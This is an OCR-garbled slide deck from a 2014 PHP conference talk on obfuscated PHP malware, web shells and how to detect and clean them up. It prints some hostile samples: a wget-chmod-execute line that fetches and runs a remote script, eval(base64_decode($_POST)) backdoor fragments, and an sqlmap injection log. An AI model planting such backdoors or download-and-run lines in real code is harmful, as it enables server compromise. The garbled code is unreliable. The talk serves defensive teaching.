CODE OBFUSCATION, PHP SHELLS & MORE
(AND HOW YOU CAN DETECT & FIX IT)

@mattiasgeniar
#phpbri14-24/1/2014,Edegem



WHAT'S THIS TALK ABOUT?

¢ What happens when | get hacked?
¢ What's code obfuscation?

* What are PHP shells?

* Show me some clever hacks!

* Prevention

¢ Post-hack cleanup



WHAT IS THIS _NOT_ ABOUT?

* How can| hack awebsite?
* How can| DoS a website?
* How can| find my insecure code?



WHO AM 1?7

« Mattias Geniar
o System Engineer @ Nucleus.be

identallystarted resstallfightlastye:

* Ex-PHP'er, ORM hater, mostly a Linux guy



WHO ARE YOU?

* AnyLinux knowledge?

* Everhad asite compromised?

* Ever try to hack your own site?:-)
* Who was at this talk @ phpbnl14?




WHY DO | GET HACKED?

* Tosteal your data

* Intermediate host to attack others
* ActasaC&Cserver

* Send out spammails

.



WHAT HAPPENS (TO MY SERVER) WHEN | GET
HACKED?

* Malicious file uploads

¢ Localfile modifications

¢ SQL injections (to modify DB content)
* SQL injections (to steal your data)

e ...and many more things



TYPICAL ATTACKER WORKFLOW

* Remote scan website for vulnerabilities (95% automated)
Havij, Nessus, Skipfish SQLmap, w3af, Zed Attack Proxy,

. Abusevulnerablllty(ﬂ!eupload RFI,SQLi,...

Mostly manual,attacksurface narrowedbys

* Profit!



FOCUS OF THIS TALK

* File upload abuse: what can you do with PHP?
Formupload vulnerability, stolen FTP passwords etc.

* SQL injections

NOT THE FOCUS

* Cross-Site Scripting (XSS)
* Authentication bypassing
* Cross-Site Request Forgery (CSRF)

o
* Check OWASP.org for more fun!



FILE UPLOADS

¢ Obvious ones
= hackscript.php
® remote-shell.php

¢ Random file names
= X51n98ApnrE_Dw.php
* e8AnzRxnS5DSMAN. php

* Attempts to "blend in"
= contact.php
® wp-version.php
= image.php / thumbnail.php



FILE MODIFICATIONS

* wp-config.php
* apc.php
* Bootstrap.php



SQL INJECTIONS: GET CONTENT INTO YOUR DB

* inject iframes
* inject script-tags
« steal (admin) cookies

You'llonly notice it when browsing the site.



30...

WHAT DOES "MALICIOUS PHP CODE’ LOOK
LIKE?



LIKE THIS.

»

R L L (e
EQUEST( ‘mighx'1)) { $agispe = §_Re( et

SraL(8 ety eHAb)1 L (Lamat(3 BB p«nm »m

{ Sodze = §_REQUEST('tgdjn'); Stdydvid = § RE(

{rpamine’ 1) Seut = opentsbiyania u'ys Shoect =

£urite(s1wtx, Sodzc); £close(Srwtx); echo Siuxrt;

exit(); )}

>




OR THIS.

<2php

prog_replace("/. +/a", “\x65\x76\x6 1\x6C\x28\x6 \x TA\X69\




YEP, YOU GUESSED IT.

farror_reporting 0); #ind_set Log* Lty ('Log
axorsT 0y Lf (cout (5 SOST) < 2) { die (PAP.GB.chr(43) schr(48)
A3 s (BR7CS 9170y 7 SOSLI98  fuiser Forench oy
Jharm(a_5087) se puictatita) { mitch (svictaobialol) { o
E(108) + $vd56b6998 = Svic6e0bea; broak 00y seaarre
— His8taonter breaky case She(1o9) $v3as6h0n) = Svickedmsas
broak; case chr(101); $150316995 = true; break ) } if (Svdsebs
998 e 77638 =mm 1) die
(43).md5 (0967654321)) ; SVE19AT5E8 = preg_spiit( A\, (\ )7/,
Gini get (‘disable_functions')); $vO1b6e203 = €5 FOST($vdsEbES9S

B



THERE'S PRETTY CODE T00, THOUGH.

JUST NOT AS OFTEN.



OBFUSCATION TECHNIQUES

Why hide the code?

* Legit
= Preventreverse engineering
= Protect proprietary code
dGuard,

o Accidentally
= Lack of experiencefromthedev
= Simple problems solved in ahard way
* Malicious
= Prevent code from being found
= Hide backdoors in backdoors
= Hide true purpose of script



OBFUSCATION TECHNIQUES

Remove whitespace

ieCimmers e eiomat ) ¢

preg_replace(

Becomes
i#(imset (5_GET("£10650" 1)) (Sauth_pass= oe=
“Fileshan's sdefault use ajax = truejpres. replace(




OBFUSCATION TECHNIQUES

Replacements!
$atring = "y secret key';
Obfuscated:

U e en e s s e e et
~ChE(101).chr (116) .chr(32) .chr (107) .chr(101) . chr (121)

sstring \x6a\x20".
X7\ X B\X69\x7 3\ X26\x20\ 6\ X75 \ 61\ 6 8\X6L \x 68\ x6 1\x21" 1

Sstring = grinflate(’ 72U (IZKIV (12" );

Alsoworkswithbzip, gzencode, urlencode,

UUencode, .

Attacker cansend the ASCII charsvia $_POST, code can
‘decrypt' by runningord($_POST[ 'val']).




OBFUSCATION TECHNIQUES

Character substitutions with str_rot13
{or any self-made letter replacement algoritm)

gatring - some random piace of code's
coded = stz rotl(Sstring);
e

pr bs phar

Sdacoded = stx_rot13(sencoded) ;
# Sdecoded is again = some randem piece of code

Soifyou're evil ...

$8 = "skep(*3trg ugge://Evgr.gya/unpx.cys puzby +k unpx.cyr -/wpx.cy')i
eval(str_rotl3(sa))

exec('wget http: //site. tid/hack.pl; chimod +x hack.pl; ./hack.pl’);



OBFUSCATION TECHNIQUES

Run eval() on encoded strings

Scode = ‘echo "Inception: PHP in PHPI"; ';
oval(scode)

The encoded version becomes:

oo e e o A S
eval(basesi_decode(scode)

Image this ona 100+ line PHP script. base64_encode () it all
andrunitineval().






OBFUSCATION TECHNIQUES

Inception!

V§b2RIKCREVES TVFL Y2 9K ZSTAKSKTChO=" 1
1\X7T3\ 145\36\64\x5£\144\ x65\1 43\ k6 £1144\x65'

= w2
el (5_)
Actually means....
s i (isset (5_ROST("code® 1)) {
eval (bases4_decode (5. POST] "code” 1)1

Scode = bases_decode(s_); eval(Scode);
“bases d_decode’
5__(s_));




TIME FOR SOMETHING LESS CRYPTIC ...




PHP SHELL SCRIPTS

WSO Web Shell
C99 shell
R57 shell

Monolithic app: PHP, Javascript, Perl,images, ...
Accessed by simply browsing to
http://$site/path/to/script.php
http://$site/uploads/script.php



WHAT DO THOSE SHELLS D0?

Usually contains authentication/authorization

Password: >>




WHAT DO THOSE SHELLS D0?

Contains some kind of ACL

Af( l-ptwi SERVER( 'HTTP_USER u::lﬂ' md
= sarven( e v
(o Sl e
it (prog_natch('/" + implode(’|", SuserAgenta) .'/i', sua) {
ane( HE70/110 404 Mok Foued
it

)

)
# 0r by Ip, cookies, 5_POST values, ...



BUT ONCE YOU GET IN ....>-)



WEB SHELL BY ORB

* File listing

* Remote shells
* Server info
o



FULL CONSOLE

* Limited to user running PHP
 Limited by the php.ini config
* Canread all your configs



REMOTE SHELLS

-$ telnet 10.0.2.2 31337

s00c hittpd 4.0K Jan 21 17:1

Jan 21 17:25 ..
so0x httpd 74K Jan 21 16:56 2¢2.php
o httpd 0 Jan 21 17:17 lo

__gu




REMOTE SHELLS

* Requires per| (standard ... everywhere?)
* Gets forked to the background
* Can be _real_painful



BIG DEAL ... YOU CAN'T DO ANYTHING!

CANTI?



COMPILE YOUR OWN EXPLOIT?

sh-4.15 goo exploit.c -o exploit
h-4.1§ chmod +x exploit

sh-4.15 s -alh exploit
~rwxrvxe-x 1 00 % 6.3K Jan 21 17338 exploit

sh-4.15 /exploit



START A BITCOIN MINER?




WHAT ELSE IN THIS WEB SHELL BY ORB?

® Zip/Tar.gz manager

 Brute force ftp/mysql/...

* Search system for files
“mysql_history, -bash_histor;

* Similar to R75 shell, C99, ...



€99 SHELL

Even has afeedback form!




WHAT THEY HAVE IN COMMON

* GUlstolenfrom a 90's h4ckOrzmovie

* Allsingle page apps

* Made to dumb-down the user (presets etc.)
* Offer same kind of tools/scripts/exploits



HACKERS PROTECT THEMSELVES

¢ Add aself-update command

¢ Addaself-destruct command

¢ Makemultiple copies of itself

¢ Obfuscate its own code with random data
* Add to cronto restart script



HOW TO PROTECT YOURSELF

Server-side vs code-wise
* Asadev...
= Don't trustyour users
= Whitelist (don'tblacklist!)file extensions in upload
forms

Safe:swhitelist = array('Jpa’, 'Ipes’);
Unsafe:blacklist = array('php', 'cgi');

Wil still allow perl (.pl)

= Neveruseeval ()
* Asasysadmin..
= Don't allow PHP execunon from uploads directory
easily blockedin webserver cor
= Mount filesystems W|th noexec option
= Virus-scan all uploaded files
= Block 'dangerous' php functions



BLOCK PHP EXECUTION FROM UPLOADS
DIRECTORY

<Directory /var /sww/vhosts/mysite. t1d/httpdocs/uploads>
LlesMateh *(24)\.. (php |phinl)§">
Ordor

</birectary>




BLOCKING DANGEROUS PHP FUNCTIONS

(depends on your definitionof dangerous)
* php.ini:disable_functions
* Only disables internal functions, no user-defined ones
* Can notbe overwritten later (duh)

disable_functions = show_source, exec, system, passthru, dl, phpinto, ...
eval () is alanguage construct, nota function. Can not be

blocked in disable_functions. Check out the suhosin patch to
disable this.



YOUR ACCESS & ERROR LOGS ARE GOLDEN

These are normal access logs.

/account.php HITP/L.1" 200 17333 “https://site.be/script .php? id=G

/account_orders..php HFTP/1.1* 200 21449 "Mozilla/5.0 (Windows NI 6



YOUR ACCESS & ERROR LOGS ARE GOLDEN

Theseare ...

GET /my_php_tile.pho

10129 HITR/1.1" 200 554 *-" "sqinap/1.0-dev (http://sqinap.0rg)”
Or=

£ phorquery_parane1 M 24sa=caST(car(se)| [crR(112) ||
cmumﬂ) ficmmcae) | (seLect

6543 Loure 1
CHR(o7)| ICHR( 109} |CHR(22) A8 WMERIC) HFTD/ 1

exc| |CHR(5%) || CHR(104) |
200 554 *




VERIFY IPS VS. USER-AGENTS

SEices ot Reen /imaone:ciy mw L 00l 35
(o i11a/5.0 (compatiie; Gosoniebor/2- 1 ogle. con/bot..htnl.

-5 whois 46.165.204.8

org-nana: Loaseveb Germany Gubit



BLOCK SQL-INJECTION AS A SYSADMIN

* This can never be your only defense. This just helps make it
harder.

* You canact on URL patterns
Keywords like CHR() , COALESCE(), CAST(), CHR(), ...

* You canact on HTTP user agents
Keywords ke scmap, owasp, 20d.

* Install a"Web Application Firewall"

Blacklist,.)




BLOCK BRUTE FORCE ATTACKS

« Inthe application:block users after X amount of failed
attempts
¢ Ontheserver:tools like fail2ban, denyhosts, iptables,

 Extend common tools: fai12ban todetect POST floods via

access/error logs
(ie:10POST requests fromsame IPinSs =bar)



STAY UP-TO-DATE

Witheverything.
Update 3rd party libraries:ckeditor,tinymce,

thumbnail scripts, ...
Tripple-check anything you took from the interet..

Update your framework that could have security fixes
Updateyour 0S & applications

Update your personal knowledge / experience
Checkout OWAS, try outfree vulnerabilty scanners, hack your own it .



BUT WHAT IF YOU FIND YOU'VE BEEN HACKED



POST-HACK CLEANUP

Or:howto findthe hack

* Search for suspicious filenames
* Check your access/error logs

* Check your cronjobs on the system
Demsneaky bastards -
* Search all sourcecode for keywords like:
eval, base64_decode, wget, curl, ..
* Usesytem tools for scanningmalware like:
Maldet, ClamAV, rkhunter, tripwire, ...




POST-HACK CLEANUP

* Take a database dump and search for keywords like:
iframe, script, ...

Take a long look again at all the prevention methods we talked
about earlier.

Patch the code

Prepare yourself to relnstall your entire server

att
Ot e Vi s g i by



THANK YOU

ANY QUESTIONS?




